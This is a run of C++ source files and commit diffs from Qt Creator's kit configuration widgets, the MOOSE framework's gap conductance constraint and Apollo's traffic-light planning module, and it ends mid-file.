\"devicesupport\/devicemanager.h\"\n#include \"devicesupport\/devicemanagermodel.h\"\n#include \"devicesupport\/idevicefactory.h\"\n#include \"projectexplorerconstants.h\"\n#include \"kit.h\"\n#include \"kitinformation.h\"\n#include \"toolchain.h\"\n#include \"toolchainmanager.h\"\n#include \"environmentwidget.h\"\n\n#include <coreplugin\/icore.h>\n#include <extensionsystem\/pluginmanager.h>\n#include <utils\/algorithm.h>\n#include <utils\/fancylineedit.h>\n#include <utils\/environment.h>\n#include <utils\/qtcassert.h>\n#include <utils\/pathchooser.h>\n\n#include <QComboBox>\n#include <QDialog>\n#include <QDialogButtonBox>\n#include <QFontMetrics>\n#include <QLabel>\n#include <QPlainTextEdit>\n#include <QPushButton>\n#include <QVBoxLayout>\n\nusing namespace Core;\n\nnamespace ProjectExplorer {\nnamespace Internal {\n\n\/\/ --------------------------------------------------------------------------\n\/\/ SysRootInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nSysRootInformationConfigWidget::SysRootInformationConfigWidget(Kit *k, const KitInformation *ki) :\n KitConfigWidget(k, ki),\n m_ignoreChange(false)\n{\n m_chooser = new Utils::PathChooser;\n m_chooser->setExpectedKind(Utils::PathChooser::ExistingDirectory);\n m_chooser->setHistoryCompleter(QLatin1String(\"PE.SysRoot.History\"));\n m_chooser->setFileName(SysRootKitInformation::sysRoot(k));\n connect(m_chooser, SIGNAL(changed(QString)), this, SLOT(pathWasChanged()));\n}\n\nSysRootInformationConfigWidget::~SysRootInformationConfigWidget()\n{\n delete m_chooser;\n}\n\nQString SysRootInformationConfigWidget::displayName() const\n{\n return tr(\"Sysroot:\");\n}\n\nQString SysRootInformationConfigWidget::toolTip() const\n{\n return tr(\"The root directory of the system image to use.<br>\"\n \"Leave empty when building for the desktop.\");\n}\n\nvoid SysRootInformationConfigWidget::refresh()\n{\n if (!m_ignoreChange)\n m_chooser->setFileName(SysRootKitInformation::sysRoot(m_kit));\n}\n\nvoid SysRootInformationConfigWidget::makeReadOnly()\n{\n m_chooser->setReadOnly(true);\n}\n\nQWidget *SysRootInformationConfigWidget::mainWidget() const\n{\n return m_chooser->lineEdit();\n}\n\nQWidget *SysRootInformationConfigWidget::buttonWidget() const\n{\n return m_chooser->buttonAtIndex(0);\n}\n\nvoid SysRootInformationConfigWidget::pathWasChanged()\n{\n m_ignoreChange = true;\n SysRootKitInformation::setSysRoot(m_kit, m_chooser->fileName());\n m_ignoreChange = false;\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ ToolChainInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nToolChainInformationConfigWidget::ToolChainInformationConfigWidget(Kit *k, const KitInformation *ki) :\n KitConfigWidget(k, ki),\n m_ignoreChanges(false)\n{\n m_comboBox = new QComboBox;\n m_comboBox->setEnabled(false);\n m_comboBox->setToolTip(toolTip());\n\n refresh();\n connect(m_comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(currentToolChainChanged(int)));\n\n m_manageButton = new QPushButton(KitConfigWidget::msgManage());\n m_manageButton->setContentsMargins(0, 0, 0, 0);\n connect(m_manageButton, SIGNAL(clicked()), this, SLOT(manageToolChains()));\n}\n\nToolChainInformationConfigWidget::~ToolChainInformationConfigWidget()\n{\n delete m_comboBox;\n delete m_manageButton;\n}\n\nQString ToolChainInformationConfigWidget::displayName() const\n{\n return tr(\"Compiler:\");\n}\n\nQString ToolChainInformationConfigWidget::toolTip() const\n{\n return tr(\"The compiler to use for building.<br>\"\n \"Make sure the compiler will produce binaries compatible with the target device, \"\n \"Qt version and other libraries used.\");\n}\n\nvoid ToolChainInformationConfigWidget::refresh()\n{\n m_ignoreChanges = true;\n m_comboBox->clear();\n foreach (ToolChain *tc, ToolChainManager::toolChains())\n m_comboBox->addItem(tc->displayName(), tc->id());\n\n m_comboBox->setCurrentIndex(indexOf(ToolChainKitInformation::toolChain(m_kit)));\n m_ignoreChanges = false;\n}\n\nvoid ToolChainInformationConfigWidget::makeReadOnly()\n{\n m_comboBox->setEnabled(false);\n}\n\nQWidget *ToolChainInformationConfigWidget::mainWidget() const\n{\n return m_comboBox;\n}\n\nQWidget *ToolChainInformationConfigWidget::buttonWidget() const\n{\n return m_manageButton;\n}\n\nvoid ToolChainInformationConfigWidget::manageToolChains()\n{\n ICore::showOptionsDialog(Constants::TOOLCHAIN_SETTINGS_PAGE_ID, buttonWidget());\n}\n\nvoid ToolChainInformationConfigWidget::currentToolChainChanged(int idx)\n{\n if (m_ignoreChanges)\n return;\n\n const QString id = m_comboBox->itemData(idx).toString();\n ToolChainKitInformation::setToolChain(m_kit, ToolChainManager::findToolChain(id));\n}\n\nvoid ToolChainInformationConfigWidget::updateComboBox()\n{\n \/\/ remove unavailable tool chain:\n int pos = indexOf(0);\n if (pos >= 0)\n m_comboBox->removeItem(pos);\n\n if (m_comboBox->count() == 0) {\n m_comboBox->addItem(tr(\"<No compiler available>\"), QString());\n m_comboBox->setEnabled(false);\n } else {\n m_comboBox->setEnabled(true);\n }\n}\n\nint ToolChainInformationConfigWidget::indexOf(const ToolChain *tc)\n{\n const QString id = tc ? tc->id() : QString();\n for (int i = 0; i < m_comboBox->count(); ++i) {\n if (id == m_comboBox->itemData(i).toString())\n return i;\n }\n return -1;\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ DeviceTypeInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nDeviceTypeInformationConfigWidget::DeviceTypeInformationConfigWidget(Kit *workingCopy, const KitInformation *ki) :\n KitConfigWidget(workingCopy, ki), m_comboBox(new QComboBox)\n{\n QList<IDeviceFactory *> factories\n = ExtensionSystem::PluginManager::getObjects<IDeviceFactory>();\n foreach (IDeviceFactory *factory, factories) {\n foreach (Id id, factory->availableCreationIds())\n m_comboBox->addItem(factory->displayNameForId(id), id.uniqueIdentifier());\n }\n\n m_comboBox->setToolTip(toolTip());\n\n refresh();\n connect(m_comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(currentTypeChanged(int)));\n}\n\nDeviceTypeInformationConfigWidget::~DeviceTypeInformationConfigWidget()\n{\n delete m_comboBox;\n}\n\nQWidget *DeviceTypeInformationConfigWidget::mainWidget() const\n{\n return m_comboBox;\n}\n\nQString DeviceTypeInformationConfigWidget::displayName() const\n{\n return tr(\"Device type:\");\n}\n\nQString DeviceTypeInformationConfigWidget::toolTip() const\n{\n return tr(\"The type of device to run applications on.\");\n}\n\nvoid DeviceTypeInformationConfigWidget::refresh()\n{\n Id devType = DeviceTypeKitInformation::deviceTypeId(m_kit);\n if (!devType.isValid())\n m_comboBox->setCurrentIndex(-1);\n for (int i = 0; i < m_comboBox->count(); ++i) {\n if (m_comboBox->itemData(i).toInt() == devType.uniqueIdentifier()) {\n m_comboBox->setCurrentIndex(i);\n break;\n }\n }\n}\n\nvoid DeviceTypeInformationConfigWidget::makeReadOnly()\n{\n m_comboBox->setEnabled(false);\n}\n\nvoid DeviceTypeInformationConfigWidget::currentTypeChanged(int idx)\n{\n Id type = idx < 0 ? Id() : Id::fromUniqueIdentifier(m_comboBox->itemData(idx).toInt());\n DeviceTypeKitInformation::setDeviceTypeId(m_kit, type);\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ DeviceInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nDeviceInformationConfigWidget::DeviceInformationConfigWidget(Kit *workingCopy, const KitInformation *ki) :\n KitConfigWidget(workingCopy, ki),\n m_isReadOnly(false),\n m_ignoreChange(false),\n m_comboBox(new QComboBox),\n m_model(new DeviceManagerModel(DeviceManager::instance()))\n{\n m_comboBox->setModel(m_model);\n\n m_manageButton = new QPushButton(KitConfigWidget::msgManage());\n\n refresh();\n m_comboBox->setToolTip(toolTip());\n\n connect(m_model, SIGNAL(modelAboutToBeReset()), SLOT(modelAboutToReset()));\n connect(m_model, SIGNAL(modelReset()), SLOT(modelReset()));\n connect(m_comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(currentDeviceChanged()));\n connect(m_manageButton, SIGNAL(clicked()), this, SLOT(manageDevices()));\n}\n\nDeviceInformationConfigWidget::~DeviceInformationConfigWidget()\n{\n delete m_comboBox;\n delete m_model;\n delete m_manageButton;\n}\n\nQWidget *DeviceInformationConfigWidget::mainWidget() const\n{\n return m_comboBox;\n}\n\nQString DeviceInformationConfigWidget::displayName() const\n{\n return tr(\"Device:\");\n}\n\nQString DeviceInformationConfigWidget::toolTip() const\n{\n return tr(\"The device to run the applications on.\");\n}\n\nvoid DeviceInformationConfigWidget::refresh()\n{\n m_model->setTypeFilter(DeviceTypeKitInformation::deviceTypeId(m_kit));\n m_comboBox->setCurrentIndex(m_model->indexOf(DeviceKitInformation::device(m_kit)));\n}\n\nvoid DeviceInformationConfigWidget::makeReadOnly()\n{\n m_comboBox->setEnabled(false);\n}\n\nQWidget *DeviceInformationConfigWidget::buttonWidget() const\n{\n return m_manageButton;\n}\n\nvoid DeviceInformationConfigWidget::manageDevices()\n{\n ICore::showOptionsDialog(Constants::DEVICE_SETTINGS_PAGE_ID, buttonWidget());\n}\n\nvoid DeviceInformationConfigWidget::modelAboutToReset()\n{\n m_selectedId = m_model->deviceId(m_comboBox->currentIndex());\n m_ignoreChange = true;\n}\n\nvoid DeviceInformationConfigWidget::modelReset()\n{\n m_comboBox->setCurrentIndex(m_model->indexForId(m_selectedId));\n m_ignoreChange = false;\n}\n\nvoid DeviceInformationConfigWidget::currentDeviceChanged()\n{\n if (m_ignoreChange)\n return;\n DeviceKitInformation::setDeviceId(m_kit, m_model->deviceId(m_comboBox->currentIndex()));\n}\n\n\/\/ --------------------------------------------------------------------\n\/\/ KitEnvironmentConfigWidget:\n\/\/ --------------------------------------------------------------------\n\nKitEnvironmentConfigWidget::KitEnvironmentConfigWidget(Kit *workingCopy, const KitInformation *ki) :\n KitConfigWidget(workingCopy, ki),\n m_summaryLabel(new QLabel),\n m_manageButton(new QPushButton),\n m_dialog(0),\n m_editor(0)\n{\n refresh();\n m_manageButton->setText(tr(\"Change...\"));\n connect(m_manageButton, SIGNAL(clicked()), this, SLOT(editEnvironmentChanges()));\n}\n\nQWidget *KitEnvironmentConfigWidget::mainWidget() const\n{\n return m_summaryLabel;\n}\n\nQString KitEnvironmentConfigWidget::displayName() const\n{\n return tr(\"Environment:\");\n}\n\nQString KitEnvironmentConfigWidget::toolTip() const\n{\n return tr(\"Additional environment settings when using this kit.\");\n}\n\nvoid KitEnvironmentConfigWidget::refresh()\n{\n QList<Utils::EnvironmentItem> changes = EnvironmentKitInformation::environmentChanges(m_kit);\n Utils::sort(changes, [](const Utils::EnvironmentItem &lhs, const Utils::EnvironmentItem &rhs)\n { return QString::localeAwareCompare(lhs.name, rhs.name) < 0; });\n QString shortSummary = Utils::EnvironmentItem::toStringList(changes).join(QLatin1String(\"; \"));\n QFontMetrics fm(m_summaryLabel->font());\n shortSummary = fm.elidedText(shortSummary, Qt::ElideRight, m_summaryLabel->width());\n m_summaryLabel->setText(shortSummary.isEmpty() ? tr(\"No changes to apply.\") : shortSummary);\n if (m_editor)\n m_editor->setPlainText(Utils::EnvironmentItem::toStringList(changes).join(QLatin1Char('\\n')));\n}\n\nvoid KitEnvironmentConfigWidget::makeReadOnly()\n{\n m_manageButton->setEnabled(false);\n if (m_dialog)\n m_dialog->reject();\n}\n\nvoid KitEnvironmentConfigWidget::editEnvironmentChanges()\n{\n if (m_dialog) {\n m_dialog->activateWindow();\n m_dialog->raise();\n return;\n }\n\n QTC_ASSERT(!m_editor, return);\n\n m_dialog = new QDialog(m_summaryLabel);\n m_dialog->setWindowTitle(tr(\"Edit Environment Changes\"));\n QVBoxLayout *layout = new QVBoxLayout(m_dialog);\n m_editor = new QPlainTextEdit;\n QDialogButtonBox *buttons = new QDialogButtonBox(QDialogButtonBox::Ok|QDialogButtonBox::Apply|QDialogButtonBox::Cancel);\n\n layout->addWidget(m_editor);\n layout->addWidget(buttons);\n\n connect(buttons, SIGNAL(accepted()), m_dialog, SLOT(accept()));\n connect(buttons, SIGNAL(rejected()), m_dialog, SLOT(reject()));\n connect(m_dialog, SIGNAL(accepted()), this, SLOT(acceptChangesDialog()));\n connect(m_dialog, SIGNAL(rejected()), this, SLOT(closeChangesDialog()));\n connect(buttons->button(QDialogButtonBox::Apply), SIGNAL(clicked()), this, SLOT(applyChanges()));\n\n refresh();\n m_dialog->show();\n}\n\nvoid KitEnvironmentConfigWidget::applyChanges()\n{\n QTC_ASSERT(m_editor, return);\n auto changes = Utils::EnvironmentItem::fromStringList(m_editor->toPlainText().split(QLatin1Char('\\n')));\n EnvironmentKitInformation::setEnvironmentChanges(m_kit, changes);\n}\n\nvoid KitEnvironmentConfigWidget::closeChangesDialog()\n{\n m_dialog->deleteLater();\n m_dialog = 0;\n m_editor = 0;\n}\n\nvoid KitEnvironmentConfigWidget::acceptChangesDialog()\n{\n applyChanges();\n closeChangesDialog();\n}\n\nQWidget *KitEnvironmentConfigWidget::buttonWidget() const\n{\n return m_manageButton;\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace ProjectExplorer\n<|endoftext|>"} {"text":"<commit_before>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"GapConductanceConstraint.h\"\n\nregisterMooseObject(\"HeatConductionApp\", GapConductanceConstraint);\n\nInputParameters\nGapConductanceConstraint::validParams()\n{\n InputParameters params = ADMortarConstraint::validParams();\n params.addClassDescription(\n \"Computes the residual and Jacobian contributions for the 'Lagrange Multiplier' \"\n \"implementation of the thermal contact problem. For more information, see the \"\n \"detailed description here: http:\/\/tinyurl.com\/gmmhbe9\");\n params.addRequiredParam<Real>(\"k\", \"Gap conductance\");\n return params;\n}\n\nGapConductanceConstraint::GapConductanceConstraint(const InputParameters & parameters)\n : ADMortarConstraint(parameters), _k(getParam<Real>(\"k\"))\n{\n}\n\nADReal\nGapConductanceConstraint::computeQpResidual(Moose::MortarType mortar_type)\n{\n switch (mortar_type)\n {\n case Moose::MortarType::Primary:\n return _lambda[_qp] * _test_primary[_i][_qp];\n case Moose::MortarType::Secondary:\n return -_lambda[_qp] * _test_secondary[_i][_qp];\n case Moose::MortarType::Lower:\n {\n auto l = (_phys_points_primary[_qp] - _phys_points_secondary[_qp]).norm();\n return (_k * (_u_primary[_qp] - _u_secondary[_qp]) \/ l - _lambda[_qp]) * _test[_i][_qp];\n }\n default:\n return 0;\n }\n}\n<commit_msg>Make lm diagonal entry positive instead of negative<commit_after>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"GapConductanceConstraint.h\"\n\nregisterMooseObject(\"HeatConductionApp\", GapConductanceConstraint);\n\nInputParameters\nGapConductanceConstraint::validParams()\n{\n InputParameters params = ADMortarConstraint::validParams();\n params.addClassDescription(\n \"Computes the residual and Jacobian contributions for the 'Lagrange Multiplier' \"\n \"implementation of the thermal contact problem. For more information, see the \"\n \"detailed description here: http:\/\/tinyurl.com\/gmmhbe9\");\n params.addRequiredParam<Real>(\"k\", \"Gap conductance\");\n return params;\n}\n\nGapConductanceConstraint::GapConductanceConstraint(const InputParameters & parameters)\n : ADMortarConstraint(parameters), _k(getParam<Real>(\"k\"))\n{\n}\n\nADReal\nGapConductanceConstraint::computeQpResidual(Moose::MortarType mortar_type)\n{\n switch (mortar_type)\n {\n case Moose::MortarType::Primary:\n return _lambda[_qp] * _test_primary[_i][_qp];\n case Moose::MortarType::Secondary:\n return -_lambda[_qp] * _test_secondary[_i][_qp];\n case Moose::MortarType::Lower:\n {\n auto l = (_phys_points_primary[_qp] - _phys_points_secondary[_qp]).norm();\n return (_lambda[_qp] - _k * (_u_primary[_qp] - _u_secondary[_qp]) \/ l) * _test[_i][_qp];\n }\n default:\n return 0;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/lattice\/behavior_decider\/signal_light_scenario.h\"\n\n#include <limits>\n#include <string>\n#include <vector>\n\n#include \"gflags\/gflags.h\"\n#include \"modules\/common\/adapters\/adapter_manager.h\"\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/util\/map_util.h\"\n#include \"modules\/common\/vehicle_state\/vehicle_state_provider.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/proto\/planning_internal.pb.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing apollo::common::adapter::AdapterManager;\nusing apollo::common::util::WithinBound;\nusing apollo::perception::TrafficLight;\nusing apollo::perception::TrafficLightDetection;\n\nvoid SignalLightScenario::Reset() {}\n\nbool SignalLightScenario::Init() {\n exist_ = true;\n return exist_;\n}\n\nint SignalLightScenario::ComputeScenarioDecision(\n Frame* frame, ReferenceLineInfo* const reference_line_info,\n PlanningTarget* planning_target) {\n CHECK(frame != nullptr);\n\n if (!FindValidSignalLight(reference_line_info)) {\n ADEBUG << \"No valid signal light along reference line\";\n return 0;\n }\n ReadSignals();\n\n for (const hdmap::PathOverlap* signal_light :\n signal_lights_along_reference_line_) {\n const TrafficLight signal = GetSignal(signal_light->object_id);\n double stop_deceleration =\n GetStopDeceleration(reference_line_info, signal_light);\n\n if ((signal.color() == TrafficLight::RED &&\n stop_deceleration < FLAGS_max_stop_deceleration) ||\n (signal.color() == TrafficLight::UNKNOWN &&\n stop_deceleration < FLAGS_max_stop_deceleration) ||\n (signal.color() == TrafficLight::YELLOW &&\n stop_deceleration < FLAGS_max_stop_deacceleration_for_yellow_light)) {\n CreateStopObstacle(frame, reference_line_info, signal_light);\n }\n }\n\n return 0;\n}\n\nbool SignalLightScenario::FindValidSignalLight(\n ReferenceLineInfo* const reference_line_info) {\n const std::vector<hdmap::PathOverlap>& signal_lights =\n reference_line_info->reference_line().map_path().signal_overlaps();\n if (signal_lights.size() <= 0) {\n ADEBUG << \"No signal lights from reference line.\";\n return false;\n } else {\n ADEBUG << \"Found signal_lights size=\" << signal_lights.size();\n }\n signal_lights_along_reference_line_.clear();\n for (const hdmap::PathOverlap& signal_light : signal_lights) {\n if (signal_light.start_s + FLAGS_max_stop_distance_buffer >\n reference_line_info->AdcSlBoundary().end_s()) {\n signal_lights_along_reference_line_.push_back(&signal_light);\n }\n }\n return signal_lights_along_reference_line_.size() > 0;\n}\n\nvoid SignalLightScenario::ReadSignals() {\n detected_signals_.clear();\n detected_signals_.clear();\n if (AdapterManager::GetTrafficLightDetection()->Empty()) {\n return;\n }\n if (AdapterManager::GetTrafficLightDetection()->GetDelaySec() >\n FLAGS_signal_expire_time_sec) {\n AWARN << \"traffic signals msg is expired: \"\n << AdapterManager::GetTrafficLightDetection()->GetDelaySec();\n return;\n }\n const TrafficLightDetection& detection =\n AdapterManager::GetTrafficLightDetection()->GetLatestObserved();\n for (int j = 0; j < detection.traffic_light_size(); j++) {\n const TrafficLight& signal = detection.traffic_light(j);\n detected_signals_[signal.id()] = &signal;\n }\n}\n\nTrafficLight SignalLightScenario::GetSignal(const std::string& signal_id) {\n const auto* result =\n apollo::common::util::FindPtrOrNull(detected_signals_, signal_id);\n if (result == nullptr) {\n TrafficLight traffic_light;\n traffic_light.set_id(signal_id);\n traffic_light.set_color(TrafficLight::UNKNOWN);\n traffic_light.set_confidence(0.0);\n traffic_light.set_tracking_time(0.0);\n return traffic_light;\n }\n return *result;\n}\n\ndouble SignalLightScenario::GetStopDeceleration(\n ReferenceLineInfo* const reference_line_info,\n const hdmap::PathOverlap* signal_light) {\n double adc_speed =\n common::VehicleStateProvider::instance()->linear_velocity();\n if (adc_speed < FLAGS_max_stop_speed) {\n return 0.0;\n }\n double stop_distance = 0.0;\n double adc_front_s = reference_line_info->AdcSlBoundary().end_s();\n double stop_line_s = signal_light->start_s;\n\n if (stop_line_s > adc_front_s) {\n stop_distance = stop_line_s - adc_front_s;\n } else {\n stop_distance = stop_line_s + FLAGS_max_stop_distance_buffer - adc_front_s;\n }\n if (stop_distance < 1e-5) {\n \/\/ longitudinal_acceleration_lower_bound is a negative value.\n return -FLAGS_longitudinal_acceleration_lower_bound;\n }\n return (adc_speed * adc_speed) \/ (2 * stop_distance);\n}\n\nvoid SignalLightScenario::CreateStopObstacle(\n Frame* frame, ReferenceLineInfo* const reference_line_info,\n const hdmap::PathOverlap* signal_light) {\n \/\/ check\n const auto& reference_line = reference_line_info->reference_line();\n const double stop_s =\n signal_light->start_s - FLAGS_traffic_light_stop_distance;\n const double box_center_s =\n signal_light->start_s + FLAGS_virtual_stop_wall_length \/ 2.0;\n if (!WithinBound(0.0, reference_line.Length(), stop_s) ||\n !WithinBound(0.0, reference_line.Length(), box_center_s)) {\n ADEBUG << \"signal \" << signal_light->object_id\n << \" is not on reference line\";\n return;\n }\n\n \/\/ create virtual stop wall\n std::string virtual_obstacle_id =\n FLAGS_signal_light_virtual_obstacle_id_prefix + signal_light->object_id;\n auto* obstacle = frame->CreateVirtualStopObstacle(\n reference_line_info, virtual_obstacle_id, signal_light->start_s);\n if (!obstacle) {\n AERROR << \"Failed to create obstacle [\" << virtual_obstacle_id << \"]\";\n return;\n }\n PathObstacle* stop_wall = reference_line_info->AddObstacle(obstacle);\n if (!stop_wall) {\n AERROR << \"Failed to create path_obstacle for: \" << virtual_obstacle_id;\n return;\n }\n\n return;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<commit_msg>planning: fixed a bug of colliding with traffic light virtual obstacle<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/lattice\/behavior_decider\/signal_light_scenario.h\"\n\n#include <limits>\n#include <string>\n#include <vector>\n\n#include \"gflags\/gflags.h\"\n#include \"modules\/common\/adapters\/adapter_manager.h\"\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/util\/map_util.h\"\n#include \"modules\/common\/vehicle_state\/vehicle_state_provider.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/proto\/planning_internal.pb.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing apollo::common::adapter::AdapterManager;\nusing apollo::common::util::WithinBound;\nusing apollo::perception::TrafficLight;\nusing apollo::perception::TrafficLightDetection;\n\nvoid SignalLightScenario::Reset() {}\n\nbool SignalLightScenario::Init() {\n exist_ = true;\n return exist_;\n}\n\nint SignalLightScenario::ComputeScenarioDecision(\n Frame* frame, ReferenceLineInfo* const reference_line_info,\n PlanningTarget* planning_target) {\n CHECK(frame != nullptr);\n\n if (!FindValidSignalLight(reference_line_info)) {\n ADEBUG << \"No valid signal light along reference line\";\n return 0;\n }\n ReadSignals();\n\n for (const hdmap::PathOverlap* signal_light :\n signal_lights_along_reference_line_) {\n const TrafficLight signal = GetSignal(signal_light->object_id);\n double stop_deceleration =\n GetStopDeceleration(reference_line_info, signal_light);\n\n if ((signal.color() == TrafficLight::RED &&\n stop_deceleration < FLAGS_max_stop_deceleration) ||\n \/\/ (signal.color() == TrafficLight::UNKNOWN &&\n \/\/ stop_deceleration < FLAGS_max_stop_deceleration) ||\n (signal.color() == TrafficLight::YELLOW &&\n stop_deceleration < FLAGS_max_stop_deacceleration_for_yellow_light)) {\n CreateStopObstacle(frame, reference_line_info, signal_light);\n }\n }\n\n return 0;\n}\n\nbool SignalLightScenario::FindValidSignalLight(\n ReferenceLineInfo* const reference_line_info) {\n const std::vector<hdmap::PathOverlap>& signal_lights =\n reference_line_info->reference_line().map_path().signal_overlaps();\n if (signal_lights.size() <= 0) {\n ADEBUG << \"No signal lights from reference line.\";\n return false;\n } else {\n ADEBUG << \"Found signal_lights size=\" << signal_lights.size();\n }\n signal_lights_along_reference_line_.clear();\n for (const hdmap::PathOverlap& signal_light : signal_lights) {\n if (signal_light.start_s + FLAGS_max_stop_distance_buffer >\n reference_line_info->AdcSlBoundary().end_s()) {\n signal_lights_along_reference_line_.push_back(&signal_light);\n }\n }\n return signal_lights_along_reference_line_.size() > 0;\n}\n\nvoid SignalLightScenario::ReadSignals() {\n detected_signals_.clear();\n detected_signals_.clear();\n if (AdapterManager::GetTrafficLightDetection()->Empty()) {\n return;\n }\n if (AdapterManager::GetTrafficLightDetection()->GetDelaySec() >\n FLAGS_signal_expire_time_sec) {\n AWARN << \"traffic signals msg is expired: \"\n << AdapterManager::GetTrafficLightDetection()->GetDelaySec();\n return;\n }\n const TrafficLightDetection& detection =\n AdapterManager::GetTrafficLightDetection()->GetLatestObserved();\n for (int j = 0; j < detection.traffic_light_size(); j++) {\n const TrafficLight& signal = detection.traffic_light(j);\n detected_signals_[signal.id()] = &signal;\n }\n}\n\nTrafficLight SignalLightScenario::GetSignal(const std::string& signal_id) {\n const auto* result =\n apollo::common::util::FindPtrOrNull(detected_signals_, signal_id);\n if (result == nullptr) {\n TrafficLight traffic_light;\n traffic_light.set_id(signal_id);\n traffic_light.set_color(TrafficLight::UNKNOWN);\n traffic_light.set_confidence(0.0);\n traffic_light.set_tracking_time(0.0);\n return traffic_light;\n }\n return *result;\n}\n\ndouble SignalLightScenario::GetStopDeceleration(\n ReferenceLineInfo* const reference_line_info,\n const hdmap::PathOverlap* signal_light) {\n double adc_speed =\n common::VehicleStateProvider::instance()->linear_velocity();\n if (adc_speed < FLAGS_max_stop_speed) {\n return 0.0;\n }\n double stop_distance = 0.0;\n double adc_front_s = reference_line_info->AdcSlBoundary().end_s();\n double stop_line_s = signal_light->start_s;\n\n if (stop_line_s > adc_front_s) {\n stop_distance = stop_line_s - adc_front_s;\n } else {\n stop_distance = stop_line_s + FLAGS_max_stop_distance_buffer - adc_front_s;\n }\n if (stop_distance < 1e-5) {\n \/\/ longitudinal_acceleration_lower_bound is a negative value.\n return -FLAGS_longitudinal_acceleration_lower_bound;\n }\n return (adc_speed * adc_speed) \/ (2 * stop_distance);\n}\n\nvoid SignalLightScenario::CreateStopObstacle(\n Frame* frame, ReferenceLineInfo* const reference_line_info,\n const hdmap::PathOverlap* signal_light) {\n \/\/ check\n const auto& reference_line = reference_line_info->reference_line();\n const double stop_s =\n signal_light->start_s - FLAGS_traffic_light_stop_distance;\n const double box_center_s =\n signal_light->start_s + FLAGS_virtual_stop_wall_length \/ 2.0;\n if (!WithinBound(0.0, reference_line.Length(), stop_s) ||\n !WithinBound(0.0, reference_line.Length(), box_center_s)) {\n ADEBUG << \"signal \" << signal_light->object_id\n << \" is not on reference line\";\n return;\n }\n\n \/\/ create virtual stop wall\n std::string virtual_obstacle_id =\n FLAGS_signal_light_virtual_obstacle_id_prefix + signal_light->object_id;\n auto* obstacle = frame->CreateVirtualStopObstacle(\n reference_line_info, virtual_obstacle_id, signal_light->start_s);\n if (!obstacle) {\n AERROR << \"Failed to create obstacle [\" << virtual_obstacle_id << \"]\";\n return;\n }\n PathObstacle* stop_wall = reference_line_info->AddObstacle(obstacle);\n if (!stop_wall) {\n AERROR << \"Failed to create path_obstacle for: \" << virtual_obstacle_id;\n return;\n }\n\n return;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file qp_piecewise_st_graph.cc\n **\/\n\n#include \"modules\/planning\/tasks\/qp_spline_st_speed\/qp_piecewise_st_graph.h\"\n\n#include <algorithm>\n#include <limits>\n#include <string>\n#include <utility>\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing apollo::common::ErrorCode;\nusing apollo::common::Status;\nusing apollo::common::VehicleParam;\nusing apollo::planning_internal::STGraphDebug;\n\nQpPiecewiseStGraph::QpPiecewiseStGraph(\n const QpSplineStSpeedConfig& 